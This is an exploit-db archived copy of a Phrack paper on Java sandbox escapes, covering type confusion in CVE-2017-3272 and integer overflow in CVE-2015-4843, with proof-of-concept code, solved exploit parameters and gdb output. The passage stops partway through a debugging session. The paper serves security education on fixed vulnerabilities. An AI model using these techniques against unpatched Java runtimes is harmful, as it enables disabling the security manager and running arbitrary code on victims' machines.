Phrack: Twenty years of Escaping the Java Sandbox (Ieu Eauvidoum & disk noise)

Archived security papers and articles in various languages.

EDB-ID: 45517	**Author**: phrack (https://www.exploit-db.com/author/?a=9089)	**Published**: 2018-09-28
Type: Papers (https://www.exploit-db.com/papers/)	**Platform**: Magazine (https://www.exploit-db.com/platform/?p=Magazine)	**Language**: English (https://www.exploit-db.com/papers/?l=1)
Advisory/Source: Link (http://phrack.org/papers/escaping_the_java_sandbox.html)	**Paper**: Download (https://www.exploit-db.com/download/45517.txt) / View Raw (https://www.exploit-db.com/raw/45517/)	

« Previous Paper (https://www.exploit-db.com/docs/english/45430-[persian]-android-application-penetration-testing.pdf)

Next Paper » (0)

```
|=-----------------------------------------------------------------------=|
|=------------=[ Twenty years of Escaping the Java Sandbox ]=------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ by Ieu Eauvidoum  ]=------------------------=|
|=-------------------------=[ and disk noise  ]=-------------------------=|
|=-----------------------------------------------------------------------=|

--[ Table of contents

        1 - Introduction
        2 - Background
                2.1 - A Brief History of Java Sandbox Exploits
                2.2 - The Java Platform
                2.3 - The Security Manager
                2.4 - The doPrivileged Method
        3 - Memory Corruption Vulnerabilities
                3.1 - Type Confusion
                        3.1.1 - Background
                        3.1.2 - Example: CVE-2017-3272
                        3.1.3 - Discussion
                3.2 - Integer Overflow
                        3.2.1 - Background
                        3.2.2 - Example: CVE-2015-4843
                        3.2.3 - Discussion
```

4 - Java Level Vulnerabilities
4.1 - Confused Deputy
4.1.1 - Background
4.1.2 - Example: CVE-2012-4681
4.1.3 - Discussion
4.2 - Uninitialized Instance
4.2.1 - Background
4.2.2 - Example: CVE-2017-3289
4.2.3 - Discussion
4.3 - Trusted Method Chain
4.3.1 - Background
4.3.2 - Example: CVE-2010-0840
4.3.3 - Discussion
4.4 - Serialization
4.4.1 - Background
4.4.2 - Example: CVE-2010-0094
4.4.3 - Discussion
5 - Conclusion
6 - References
7 - Attachments

--[1 - Introduction

The Java platform is broadly deployed on billions of devices, from servers and desktop workstations to consumer electronics. It was originally designed to implement an elaborate security model, the Java sandbox, that allows for the secure execution of code retrieved from potentially untrusted remote machines without putting the host machine at risk. Concretely, this sandboxing approach is used to secure the execution of untrusted Java applications such as Java applets in the web browser. Unfortunately, critical security bugs -- enabling a total bypass of the sandbox -- affected every single major version of the Java platform since its introduction. Despite major efforts to fix and revise the platform's security mechanisms over the course of two decades, critical security vulnerabilities are still being found.

In this work, we review the past and present of Java insecurity. Our goal is to provide an overview of how Java platform security fails, such that we can learn from the past mistakes. All security vulnerabilities presented here are already known and fixed in current versions of the Java runtime, we discuss them for educational purposes only. This case study has been made in the hope that we gain insights that help us design better systems in the future.

--[2 - Background

----[2.1 - A Brief History of Java Sandbox Exploits

The first version of Java was released by Sun Microsystems in 1995 [2]. One year later, researchers at Princeton University identified multiple flaws enabling an analyst to bypass the sandbox [3]. The authors identified weaknesses in the language, bytecode and object initialization, to name a few, some of them still present in Java at the time of writing. It is the first time a class spoofing attack against the Java runtime has been detailed. A few years later, in 2002, The Last Stage of Delirium (LSD)

research group presented their findings on the security of the Java virtual machine [29]. They detailed vulnerabilities affecting, among others, the bytecode verifier and class loaders leading to type confusion or class spoofing attacks. In 2010, Koivu was the first to publicly show that trusted method chain attacks work against Java by explaining how to exploit the CVE-2010-0840 vulnerability he has found [32]. In 2011, Drake described how to exploit memory corruption vulnerabilities in Java [4]. He explains how to exploit CVE-2009-3869 and CVE-2010-3552, two stack buffer overflow vulnerabilities. In 2012, Guillardoy [5], described CVE-2012-4681, two vulnerabilities allowing to bypass the sandbox. The first vulnerability gives access to restricted classes and the second allows to modify private fields. Also in 2012, Oh described how to exploit the vulnerability of CVE-2012-0507 to perform a type confusion attack to bypass the Java sandbox [6]. In 2013, Gorenc and Spelman performed a large scale study of 120 Java vulnerabilities and conclude that unsafe reflection is the most common vulnerability in Java but that type confusion is the most common exploited vulnerability [8]. Still in 2013, Lee and Nie identified multiple vulnerabilities including a vulnerability in a native method enabling the bypass of the sandbox [9]. Again in 2013, Kaiser described, among others, CVE-2013-1438 a trusted method chain vulnerability found by James Forshaw and CVE-2012-5088 a Java reflection vulnerability found by Security Explorations. Between 2012 and 2013, security researchers at Security Explorations discovered more than 20 Java vulnerabilities [7]. Starting in 2014, the developers of main web browsers such as Chrome or Firefox decided to disable NAPI by default (hence no Java code can be executed by default) [11] [12]. The attack surface of Java being reduced, it seems that less research on Java sandbox bypass is being conducted. However, exploits bypassing the sandbox still pop up once in a while. For instance, in 2018, Lee describes how to exploit CVE-2018-2826, a type confusion vulnerability found by XOR19 [18].

----[2.2 - The Java Platform

The Java platform can be divided into two abstract components: the Java Virtual Machine (JVM), and the Java Class Library (JCL).

The JVM is the core of the platform. It is implemented in native code and provides all the basic functionality required for program execution, such as a bytecode parser, JIT compiler, garbage collector, and so forth. Due to the fact that it is implemented natively, it is also subject to the same attacks like any other native binary, including memory corruption vulnerabilities such as buffer overflows [1], for example.

The JCL is the standard library that ships together with the JVM. It comprises hundreds of system classes, primarily implemented in Java, with smaller portions being implemented natively. As all system classes are trusted, they are associated with all privileges by default. These privileges give them full access to any sort of functionality (filesystem read/write, full access to the network, etc.), and hence full access to the host machine. Consequently, any security bug in a system class can potentially be used by analysts to break out of the sandbox.

The main content of this paper is thus separated into two larger sections - one dealing with memory corruption vulnerabilities, and the other one focussing on vulnerabilities at the Java level.

----[2.3 - The Security Manager

In the code of the JCL, the sandbox is implemented with authorization checks, most of them being permission checks. For instance, before any access to the filesystem, code in the JCL checks that the caller has the right permission to access the filesystem. Below is an example checking the read permission on a file in class _java.io.FileInputStream_. The constructor checks that the caller has the read permission to read the specified file on line 5.

```
------------------------------------------------------------------------
  1: public FileInputStream(File file) throws FileNotFoundException {
  2:     String name = (file != null ? file.getPath() : null);
  3:     SecurityManager security = System.getSecurityManager();
  4:     if (security != null) {
  5:         security.checkRead(name);
  6:     }
  7:     if (name == null) {
  8:         throw new NullPointerException();
  9:     }
 10:     if (file.isInvalid()) {
 11:         throw new FileNotFoundException("Invalid file path");
 12:     }
 13:     fd = new FileDescriptor();
 14:     fd.incrementAndGetUseCount();
 15:     this.path = name;
 16:     open(name);
 17: }
------------------------------------------------------------------------
```

Note that for performance reasons, authorizations are only checked if a security manager has been set (lines 3-4). A typical attack to escape the Java sandbox thus aims at setting the security manager to null. This effectively disables all authorization checks. Without security manager set, the analyst can execute any code as if it had all authorizations.

However, authorizations are only checked at the Java level. Native code executes with all authorizations. Although it might be possible to directly execute arbitrary analyst's controlled native code when exploiting memory corruption vulnerabilities, in all the examples of this paper we focus on disabling the security manager to be able to execute arbitrary Java code with all permissions.

----[2.4 - The doPrivileged Method

When a permission "P" is checked, the JVM checks that every element of the call stack has permission "P". If one element does not have "P", a security exception is thrown. This approach works fine most of the time. However, some method m1() in the JCL which does not require a permission to be called might need to call another method m2() in the JCL which in turn requires a permission "P2". With the approach above, if method main() in a user class with no permission calls m1(), a security exception is thrown by the JVM, because of the follow-up call to m2() in m1(). Indeed, during the call stack walk, m1() and m2() have the required permission, because they

belong to trusted classes in the JCL, but main() does not have the permission.

The solution is to wrap the call in m1() to m2() inside a doPrivileged() call. Thus, when "P2" is checked, the stack walk stops at the method calling doPrivileged(), here m1(). Since m1() is a method in the JCL, it has all permissions. Thus, the check succeeds and the stack walk stops.

A real-world example is method unaligned() in _java.nio.Bits_. It deals with network streams and has to know the architecture of the processor. Getting this information, however, requires the "get_property" permission which the user code might not have. Calling unaligned() from an untrusted class would thus fail in this case due to the permission check. Thus, the code in unaligned() which retrieves information about the processor architecture is wrapped in a doPrivileged call, as illustrated below (lines 4-5):

```
------------------------------------------------------------------------
  1: static boolean unaligned() {
  2:     if (unalignedKnown)
  3:         return unaligned;
  4:     String arch = AccessController.doPrivileged(
  5:         new sun.security.action.GetPropertyAction("os.arch"));
  6:     unaligned = arch.equals("i386") || arch.equals("x86")
  7:         || arch.equals("amd64") || arch.equals("x86_64");
  8:     unalignedKnown = true;
  9:     return unaligned;
 10: }
------------------------------------------------------------------------
```

When the "get_property" permission is checked, the stack walk checks methods down to Bits.unaligned() and then stops.

--[3 - Memory Corruption Vulnerabilities

----[3.1 - Type Confusion

------[3.1.1 - Background

The first memory corruption vulnerability that we describe is a type confusion vulnerability [13]. Numerous Java exploits rely on a type confusion vulnerability to escape the sandbox [16] [17] and more recently [18]. In a nutshell, when there is a type confusion, the VM believes an object is of type _A_ while in reality the object is of type _B_. How can this be used to disable the security manager?

The answer is that a type confusion vulnerability can be used to access methods that would otherwise be out of reach for an analyst without permission. The typical method that an analyst targets is the defineClass() method of the _ClassLoader_ class. Why? Well, this method allows to define a custom class (thus potentially analyst controlled) with all permissions. The analyst would thus create and then execute his own newly defined class which contains code to disable the security manager to bypass all authorization checks.

Method defineClass() is 'protected' and thus can only be called from methods in class _ClassLoader_ or a subclass of _ClassLoader_. Since the analyst cannot modify methods in _ClassLoader_, his only option is to subclass _ClassLoader_ to be able to call defineClass(). Instantiating a subclass of _ClassLoader_ directly from code with no permission would, however, trigger a security exception because the constructor of _ClassLoader_ checks for permission "Create_ClassLoader". The trick is for the analyst to define a class extending _ClassLoader_, such as _Help_ class below, and add a static method with an object of type _Help_ as parameter. The analyst then retrieves an existing _ClassLoader_ instance from the environment and uses type confusion to "cast" it to _Help_. With this approach, the JVM thinks that h of method doWork() (line 4 below) is a subclass of _ClassLoader_ (while its real type is _ClassLoader_) and thus the protected method defineClass() becomes available to the analyst (a protected method in Java is accessible from a subclass).

```
---------------------------------------------------------------------------
  1: public class Help extends ClassLoader implements
  2:    Serializable {
  3:
  4:   public static void doWork(Help h) throws Throwable {
  5:
  6:     byte[] buffer = BypassExploit.getDefaultHelper();
  7:     URL url = new URL("file:///");
  8:     Certificate[] certs = new Certificate[0];
  9:     Permissions perm = new Permissions();
 10:     perm.add(new AllPermission());
 11:     ProtectionDomain protectionDomain = new ProtectionDomain(
 12:      new CodeSource(url, certs), perm);
 13:
 14:     Class cls = h.defineClass("DefaultHelper", buffer, 0,
 15:      buffer.length, protectionDomain);
 16:     cls.newInstance();
 17:
 18:   }
 19: }
---------------------------------------------------------------------------
```

More precisely, using a type confusion vulnerability, the analyst can disable the sandbox in three steps. Firstly, the analyst can retrieve the application class loader as follows (this step does not require a permission):

```
---------------------------------------------------------------------------
      Object cl = Help.class.getClassLoader();
---------------------------------------------------------------------------
```

Secondly, using the type confusion vulnerability, he can make the VM think that object cl is of type _Help_.

```
---------------------------------------------------------------------------
      Help h = use_type_confusion_to_convert_to_Help(cl);
---------------------------------------------------------------------------
```

Thirdly, he provides h as an argument to the static method doWork() in

Help, which disables the security manager.

The doWork() method first loads, but does not yet execute, the bytecode of the analyst controlled _DefaultHelper_ class in buffer (line 6 in the listing above). As shown below, this class disables the security manager within a doPrivileged() block in its constructor. The doPrivileged() block is necessary to prevent that the entire call stack is checked for permissions, because main() is part of the call sequence, which has no permissions.

```
-------------------------------------------------------------------------
1: public class DefaultHelper implements PrivilegedExceptionAction<Void> {
2:   public DefaultHelper() {
3:       AccessController.doPrivileged(this);
4:   }
5:
6:   public Void run() throws Exception {
7:     System.setSecurityManager(null);
8:   }
9: }
-------------------------------------------------------------------------
```

After loading the bytecode, it creates a protection domain with all permissions (lines 7-12). Finally, it calls defineClass() on h (line 14-15). This call works because the VM thinks h is of type _Help_. In reality, h is of type _ClassLoader_. However, since method defineClass() is defined in class _ClassLoader_ as a protected method, the call is successfull. At this point the analyst has loaded his own class with all privileges. The last step (line 16) is to instantiate the class to trigger the call to the run() method which disables the security manager. When the security manager is disabled, the analyst can execute any Java code as if it had all permissions.

------[3.1.2 - Example: CVE-2017-3272

The previous section explaind what a type confusion vulnerability is and how an analyst can exploit it to disable the security manager. This section provides an example, explaining how CVE-2017-3272 can be used to implement such an attack.

Redhat's bugzilla [14] provides the following technical details on CVE-2017-3272:

"It was discovered that the atomic field updaters in the _java.util.concurrent.atomic_ package in the Libraries component of OpenJDK did not properly restrict access to protected field members. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions."

This indicates that the vulnerable code lies in the _java.util.concurrent.atomic.package_ and that is has something to do with accessing a protected field. The page also links to the OpenJDK's patch "8165344: Update concurrency support". This patch modifies the _AtomicIntegerFieldUpdater_, _AtomicLongFieldUpdater_ and _AtomicReferenceFieldUpdater_ classes. What are these classes used for?

To handle concurrent modifications of fields, Java provides _AtomicLong_, _AtomicInt_ and _AtomicBoolean_, etc... For instance, in order to create ten million _long_ fields on which concurrent modifications can be performed, ten million _AtomicLong_ objects have to be instantiated. As a single instance of _AtomicLong_ takes 24 bytes + 4 bytes for the reference to the instance = 28 bytes [15], ten million instances of _AtomicLong_ represent 267 Mib.

In comparison, using _AtomicLongFieldUpdater_ classes, it would have taken only 10.000.000 * 8 = 76 MiB. Indeed, only the long fields take space. Furthermore, since all methods in _Atomic*FieldUpdater_ classes are static, only a single instance of the updater is created. Another benefit of using _Atomic*FieldUpdater_ classes is that the garbage collector will not have to keep track of the ten million _AtomicLong_ objects. However, to be able to do that, the updater uses unsafe functionalities of Java to retrieve the memory address of the target field via the _sun.misc.Unsafe_ class.

How to create an instance of a _AtomicReferenceFieldUpdater_ is illustrated below. Method newUpdater() has to be called with three parameters: tclass, the type of the class containing the field, vclass the type of the field and fieldName, the name of the field.

```
 1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater(
 2:                                  Class<U> tclass,
 3:                                  Class<W> vclass,
 4:                                  String fieldName) {
 5:   return new AtomicReferenceFieldUpdaterImpl<U,W>
 6:     (tclass, vclass, fieldName, Reflection.getCallerClass());
 7: }
```

Method newUpdater() calls the constructor of _AtomicReferenceFieldUpdaterImpl_ which does the actual work.

```
 1: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,
 2:                                  final Class<V> vclass,
 3:                                  final String fieldName,
 4:                                  final Class<?> caller) {
 5:   final Field field;
 6:   final Class<?> fieldClass;
 7:   final int modifiers;
 8:   try {
 9:     field = AccessController.doPrivileged(
10:       new PrivilegedExceptionAction<Field>() {
11:         public Field run() throws NoSuchFieldException {
12:           return tclass.getDeclaredField(fieldName);
13:         }
14:       });
15:     modifiers = field.getModifiers();
16:     sun.reflect.misc.ReflectUtil.ensureMemberAccess(
17:       caller, tclass, null, modifiers);
18:     ClassLoader cl = tclass.getClassLoader();
```

```
19:     ClassLoader ccl = caller.getClassLoader();
20:     if ((ccl != null) && (ccl != cl) &&
21:       ((cl == null) || !isAncestor(cl, ccl))) {
22:       sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass);
23:     }
24:     fieldClass = field.getType();
25:   } catch (PrivilegedActionException pae) {
26:     throw new RuntimeException(pae.getException());
27:   } catch (Exception ex) {
28:     throw new RuntimeException(ex);
29:   }
30:
31:   if (vclass != fieldClass)
32:     throw new ClassCastException();
33:
34:   if (!Modifier.isVolatile(modifiers))
35:     throw new IllegalArgumentException("Must be volatile type");
36:
37:   this.cclass = (Modifier.isProtected(modifiers) &&
38:             caller != tclass) ? caller : null;
39:   this.tclass = tclass;
40:   if (vclass == Object.class)
41:     this.vclass = null;
42:   else
43:     this.vclass = vclass;
44:   offset = unsafe.objectFieldOffset(field);
45: }
```

The constructor first retrieves, through reflection, the field to update (line 12). Note that the reflection call will work even if the code does not have any permission. This is the case because the call is performed within a doPrivileged() block which tells the JVM to allow certain operations even if the original caller does have the permission (see Section 2.4). Next, if the field has the protected attribute and the caller class is not the same as the tclass class, caller is stored in cclass (lines 37-38). Note that caller is set in method newUpdater() via the call to Reflection.getCallerClass(). These lines (37-38) are strange since class caller may have nothing to do with class tclass. We will see below that these lines are where the vulnerability lies. Next, the constructor stores tclass, vclass and uses reference unsafe of class _Unsafe_ to get the offset of field (lines 39-44). This is a red flag as the _Unsafe_ class is very dangerous. It can be used to directly manipulate memory which should not be possible in a Java program. If it is directly or indirectly in the hands of the analyst, it could be used to bypass the Java sandbox.

Once the analyst has a reference to an _AtomicReferenceFieldUpdater_ object, he can call the set() method on it to update the field as illustrated below:

```
1: public final void set(T obj, V newValue) {
2:   accessCheck(obj);
3:   valueCheck(newValue);
4:    U.putObjectVolatile(obj, offset, newValue);
```

```
 5: }
 6:
 7: private final void accessCheck(T obj) {
 8:   if (!cclass.isInstance(obj))
 9:     throwAccessCheckException(obj);
10: }
11:
12: private final void valueCheck(V v) {
13:   if (v != null && !(vclass.isInstance(v)))
14:     throwCCE();
15: }
```

The first parameter of set(), obj, is the instance on which the reference field has to be updated. The second parameter, newValue, is the new value of the reference field. First, set() checks that obj is an instance of type cclass (lines 2, 7-10). Then, set() checks that newValue is null or an instance of vclass, representing the field type (lines 3, 12-15). If all the checks pass, the _Unsafe_ class is used to put the new value at the right offset in object obj (line 4).

The patch for the vulnerability is illustrated below.

```
- this.cclass = (Modifier.isProtected(modifiers))
-                ? caller : tclass;
+ this.cclass = (Modifier.isProtected(modifiers)
+             && tclass.isAssignableFrom(caller)
+             && !isSamePackage(tclass, caller))
+                ? caller : tclass;
```

As we noticed earlier, the original code is not performing enough checks on the caller object. In the patched version, the code now checks that tclass is the same class as, a super-class or a super-interface of caller. How to exploit this vulnerability becomes obvious and is illustrated below.

```
 1: class Dummy {
 2:   protected volatile A f;
 3: }
 4:
 5: class MyClass {
 6:   protected volatile B g;
 7:
 8:   main() {
 9:     m = new MyClass();
10:     u = newUpdater(Dummy.class, A.class, "f");
11:     u.set(m, new A());
12:     println(m.g.getClass());
13:   }
14: }
```

First the class _Dummy_ with field f of type _A_ is used to call

newUpdater() (lines 1-3, 9, 10). Then, method set() is called with class _MyClass_ and new value newVal for the field f of type _A_ on the updater instance (line 11). Instead of having field f of type _A_, _MyClass_ has field g of type _B_. Thus, the actual type of g after the call to set() is _A_ but the virtual machine assumes type _B_. The println() call will print "class A" instead of "class B" (line 12). However, accessing this instance of class _A_ is done through methods and fields of class _B_.

------[3.1.3 - Discussion

As mentioned above, the _Atomic*FieldUpdater_ classes have already been introduced in Java 1.5. However, the vulnerability was only detected in release 1.8_112 and patched in the next release 1.8_121. By dichotomy search in the releases from 1.6_ to 1.8_112 we find that the vulnerability first appears in release 1.8_92. Further testing reveals that all versions in between are also vulnerable: 1.8_101, 1.8_102 and 1.8_111. We have also tested the PoC against the first and last releases of Java 1.5: they are not vulnerable.

A diff of _AtomicReferenceFieldUpdater_ between versions 1.8_91 (not vulnerable) and 1.8_92 (vulnerable) reveals that a code refactoring operation failed to preserve the semantics of all the checks performed on the input values. The non-vulnerable code of release 1.8_91 is illustrated below.

```
------------------------------------------------------------------------------
  1: private void ensureProtectedAccess(T obj) {
  2:   if (cclass.isInstance(obj)) {
  3:     return;
  4:   }
  5:   throw new RuntimeException(...
  6: }
  7:
  8: void updateCheck(T obj, V update) {
  9:   if (!tclass.isInstance(obj) ||
 10:       (update != null && vclass != null
 11:        && !vclass.isInstance(update)))
 12:     throw new ClassCastException();
 13:   if (cclass != null)
 14:     ensureProtectedAccess(obj);
 15: }
 16:
 17: public void set(T obj, V newValue) {
 18:   if (obj == null ||
 19:       obj.getClass() != tclass ||
 20:       cclass != null ||
 21:       (newValue != null
 22:        && vclass != null
 23:        && vclass != newValue.getClass()))
 24:       updateCheck(obj, newValue);
 25:   unsafe.putObjectVolatile(obj, offset, newValue);
 26: }
------------------------------------------------------------------------------
```

In the non-vulnerable version, if obj's type is different from tclass, the

type of the class containing the field to update, there are potentially two conditions to pass. The first is that obj can be cast to tclass (lines 9, 12). The second, only checked if the field is protected, is that obj can be cast to cclass (lines 14, 1-6).

In the vulnerable version, however, the condition is simply that obj can be cast to cclass. The condition that obj can be cast to tclass is lost. Missing a single condition is enough to create a security vulnerability which, if exploited right, results in a total bypass of the Java sandbox.

Can type confusion attacks be prevented? In Java, for performance reasons, the type _T_ of an object o is not checked every time object o is used. Checking the type at every use of the object would prevent type confusion attacks but would also induce a runtime overhead.

----[3.2 - Integer Overflow

------[3.2.1 - Background

An integer overflow happens when the result of an arithmetic operation is too big to fit in the number of bits of the variable. In Java, integers use 32 bits to represent signed numbers. Positive values have values from 0x00000000 (0) to 0x7FFFFFFF (2^31 - 1). Negative values have values from 0x80000000 (-2^31)to 0xFFFFFFFF (-1). If value 0x7FFFFFFF (2^31 - 1) is incremented, the result does not represent 2^31 but (-2^31). How can this be used to disable the security manager?

In the next section we analyze the integer overflow of CVE-2015-4843 [20]. The integer is used as an index in an array. Using the overflow we can read/write values outside the array. These read/write primitives are used to achieve a type confusion attack. The reader already knows from the description of CVE-2017-3272 above, that the analyst can rely on such an attack to disable the security manager.

------[3.2.2 - Example: CVE-2015-4843

A short description of this vulnerability is available on Redhat's Bugzilla [19]. It shows that multiple integer overflows have been found in Buffers classes from the java.nio package and that the vulnerability could be used to execute arbitrary code.

The vulnerability patch actually fixes the file java/nio/Direct-X-Buffer.java.template used to generate classes of the form DirectXBufferY.java where X could be "Byte", "Char", "Double", "Int", "Long", "Float" or "Short" and Y could be "S", "U", "RS" or "RU". "S" means that the array contains signed numbers, "U" unsigned numbers, "RS" signed numbers in read-only mode and "RU" unsigned numbers in read-only mode. Each of the generated classes _C_ wraps an array of a certain type that can be manipulated via methods of class _C_. For instance, DirectIntBufferS.java wraps an array of 32 bit signed integers and defines methods get() and set() to, respectively, copy elements from an array to the internal array of the DirectIntBufferS class or to copy elements from the internal array to an array outside the class. Below is an excerpt from the vulnerability patch:

```
 14:      public $Type$Buffer put($type$[] src, int offset, int length) {
 15:  #if[rw]
 16: -        if ((length << $LG_BYTES_PER_VALUE$)
                > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
 17: +        if (((long)length << $LG_BYTES_PER_VALUE$)
                > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
 18:              checkBounds(offset, length, src.length);
 19:              int pos = position();
 20:              int lim = limit();
 21: @@ -364,12 +364,16 @@
 22:
 23:  #if[!byte]
 24:              if (order() != ByteOrder.nativeOrder())
 25: -                Bits.copyFrom$Memtype$Array(src,
                      offset << $LG_BYTES_PER_VALUE$,
 26: -                  ix(pos), length << $LG_BYTES_PER_VALUE$);
 27: +                Bits.copyFrom$Memtype$Array(src,
 28: +                  (long)offset << $LG_BYTES_PER_VALUE$,
 29: +                  ix(pos),
 30: +                  (long)length << $LG_BYTES_PER_VALUE$);
 31:              else
 32:  #end[!byte]
 33: -                Bits.copyFromArray(src, arrayBaseOffset,
                      offset << $LG_BYTES_PER_VALUE$,
 34: -                  ix(pos), length << $LG_BYTES_PER_VALUE$);
 35: +                Bits.copyFromArray(src, arrayBaseOffset,
 36: +                  (long)offset << $LG_BYTES_PER_VALUE$,
 37: +                  ix(pos),
 38: +                  (long)length << $LG_BYTES_PER_VALUE$);
 39:              position(pos + length);
```

The fix (lines 17, 28, 36, and 38) consists in casting the 32 bit integers to 64 bit integers before performing a shift operation which, on 32 bit, might result in an integer overflow. The corrected version of the put() method extracted from java.nio.DirectIntBufferS.java from Java 1.8 update 65 is below:

```
 354:     public IntBuffer put(int[] src, int offset, int length) {
 355:
 356:       if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
 357:             checkBounds(offset, length, src.length);
 358:             int pos = position();
 359:             int lim = limit();
 360:             assert (pos <= lim);
 361:             int rem = (pos <= lim ? lim - pos : 0);
 362:             if (length > rem)
 363:                 throw new BufferOverflowException();
 364:
 365:
 366:             if (order() != ByteOrder.nativeOrder())
 367:                 Bits.copyFromIntArray(src,
 368:                                       (long)offset << 2,
```

```
 369:                                          ix(pos),
 370:                                          (long)length << 2);
 371:             else
 372:
 373:                 Bits.copyFromArray(src, arrayBaseOffset,
 374:                                    (long)offset << 2,
 375:                                    ix(pos),
 376:                                    (long)length << 2);
 377:             position(pos + length);
 378:       } else {
 379:             super.put(src, offset, length);
 380:       }
 381:       return this;
 382:
 383:
 384:
 385:     }
```

This method copies length elements from the src array from the specified offset to the internal array. At line 367, method Bits.copyFromIntArray() is called. This Java method takes as parameter the reference to the source array, the offset from the source array in bytes, the index into the destination array in bytes and the number of bytes to copy. As the three last parameters represent sizes and offsets in bytes, they have to be multiplied by four (shifted by 2 on the left). This is done for offset (line 374), pos (line 375) and length (line 376). Note that for pos, the operation is done within the ix() method.

In the vulnerable version, casts to long are not present, which makes the code vulnerable to integer overflows.

Similarly, the get() method, which copies elements from the internal array to an external array, is also vulnerable. The get() method is very similar to the put() method, except that the call to copyFromIntArray() is replaced by a call to copyToIntArray():

```
 262:     public IntBuffer get(int[] dst, int offset, int length) {
 263:
 [...]
 275:                 Bits.copyToIntArray(ix(pos), dst,
 276:                                           (long)offset << 2,
 277:                                           (long)length << 2);
 [...]
 291:     }
```

Since methods get() and put() are very similar, in the following we only describe how to exploit the integer overflow in the get() method. The approach is the same for the put() method.

Let's have a look at the Bits.copyFromArray() method, called in the get() method. This method is in fact a native method:

```
 803:    static native void copyToIntArray(long srcAddr, Object dst,
 804:                                      long dstPos, long length);
```

The C code of this method is shown below.

```
 175: JNIEXPORT void JNICALL
 176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,
 177:                                    jlong srcAddr, jobject dst,
                                       jlong dstPos, jlong length)
 178: {
 179:     jbyte *bytes;
 180:     size_t size;
 181:     jint *srcInt, *dstInt, *endInt;
 182:     jint tmpInt;
 183:
 184:     srcInt = (jint *)jlong_to_ptr(srcAddr);
 185:
 186:     while (length > 0) {
 187:         /* do not change this code, see WARNING above */
 188:         if (length > MBYTE)
 189:             size = MBYTE;
 190:         else
 191:             size = (size_t)length;
 192:
 193:         GETCRITICAL(bytes, env, dst);
 194:
 195:         dstInt = (jint *)(bytes + dstPos);
 196:         endInt = srcInt + (size / sizeof(jint));
 197:         while (srcInt < endInt) {
 198:             tmpInt = *srcInt++;
 199:             *dstInt++ = SWAPINT(tmpInt);
 200:         }
 201:
 202:         RELEASECRITICAL(bytes, env, dst, 0);
 203:
 204:         length -= size;
 205:         srcAddr += size;
 206:         dstPos += size;
 207:     }
 208: }
```

We notice that there is no check on the array indices. If the index is less than zero or greater or equal to the array size the code will run also. This code first transforms a long to a 32 bit integer pointer (line 184). Then, the code loops until length/size elements are copied (lines 186 and 204). Calls to GETCRITICAL() and RELEASECRITICAL() (lines 193 and 202) are used to synchronize the access to the dst array and have thus nothing to do with checking the index of the array.

To execute this native code three constraints present in the get() Java method have to be satisfied:

- Constraint 1:

```
 356:      if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
```

- Constraint 2:

```
 357:          checkBounds(offset, length, src.length);
```

- Constraint 3:

```
 362:          if (length > rem)
```

We do not mention the assertion at line 360 since it is only checked if the "-ea" (enable assertions) option is set in the VM. This is almost never the case in production since it entails slowdowns.

In the first constraint, JNI_COPY_FROM_ARRAY_THRESHOLD represents the threshold (in number of elements to copy) from which the copy will be done via native code. Oracle has empirically determined that it is worth calling native code from 6 elements. To satisfy this constraint, the number of elements to copy must be greater than 1 (6 >> 2).

The second constraint is present in the checkBounds() method:

```
 564:    static void checkBounds(int off, int len, int size) {
 566:        if ((off | len | (off + len) | (size - (off + len))) < 0)
 567:            throw new IndexOutOfBoundsException();
 568:    }
```

The second constraint can be expressed as follows:

```
  1:  offset > 0 AND length > 0 AND (offset + length) > 0
  2:  AND (dst.length - (offset + length)) > 0.
```

The third constraint checks that the remaining number of elements is less than or equal to the number of elements to copy:

```
 length < lim - pos
```

To simplify, we suppose that the current index of the array is 0. The constraint then becomes:

```
-------------------------------------------------------------------------------
 length < lim
-------------------------------------------------------------------------------
```

which is the same as

```
-------------------------------------------------------------------------------
 length < dst.length
-------------------------------------------------------------------------------
```

A solution for these constraints is:

```
-------------------------------------------------------------------------------
 dst.length = 1209098507
 offset     = 1073741764
 length     =          2
-------------------------------------------------------------------------------
```

With this solution, all the constraints are satisfied, and since there is an integer overflow we can read 8 bytes (2*4) at a negative index of -240 (1073741764 << 2). We now have a read primitive to read bytes before the dst array. Using the same technique on the get() method we get a primitive to write bytes before the dst array.

We can check that our analysis is correct by writing a simple PoC and execute it on a vulnerable version of the JVM such as Java 1.8 update 60.

```
-------------------------------------------------------------------------------
  1:  public class Test {
  2:
  3:    public static void main(String[] args) {
  4:      int[] dst = new int[1209098507];
  5:
  6:      for (int i = 0; i < dst.length; i++) {
  7:        dst[i] = 0xAAAAAAAA;
  8:      }
  9:
 10:      int bytes = 400;
 11:      ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
 12:      IntBuffer ib = bb.asIntBuffer();
 13:
 14:      for (int i = 0; i < ib.limit(); i++) {
 15:        ib.put(i, 0xBBBBBBBB);
 16:      }
 17:
 18:      int offset = 1073741764; // offset << 2 = -240
 19:      int length = 2;
 20:
 21:      ib.get(dst, offset, length); // breakpoint here
 22:    }
 23:
 24:  }
-------------------------------------------------------------------------------
```

This code creates an array of size 1209098507 (line 4) and then initializes

all the elements of this array to 0xAAAAAAAA (lines 6-8). It then creates an instance ib of type IntBuffer and initializes all elements of its internal array (integers) to 0xBBBBBBBB (lines 10-16). Finally, it calls the get() method to copy 2 elements from ib's internal array to dst with a negative offset of -240 (lines 18-21). Executing this code does not crash the VM. Moreover, we notice that after calling get, no element of the dst array have been modified. This means that 2 elements from ib's internal array have been copied outside dst. Let's check this by setting a breakpoint at line 21 and then launching gdb on the process running the JVM. In the Java code we have used sun.misc.Unsafe to calculate the address of dst which is 0x20000000.

```
--------------------------------------------------------------------------
$ gdb -p 1234
[...]
(gdb) x/10x 0x200000000
0x200000000:    0x00000001      0x00000000      0x3f5c025e      0x4811610b
0x200000010:    0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa      0xaaaaaaaa
0x200000020:    0xaaaaaaaa      0xaaaaaaaa
(gdb) x/10x 0x200000000-240
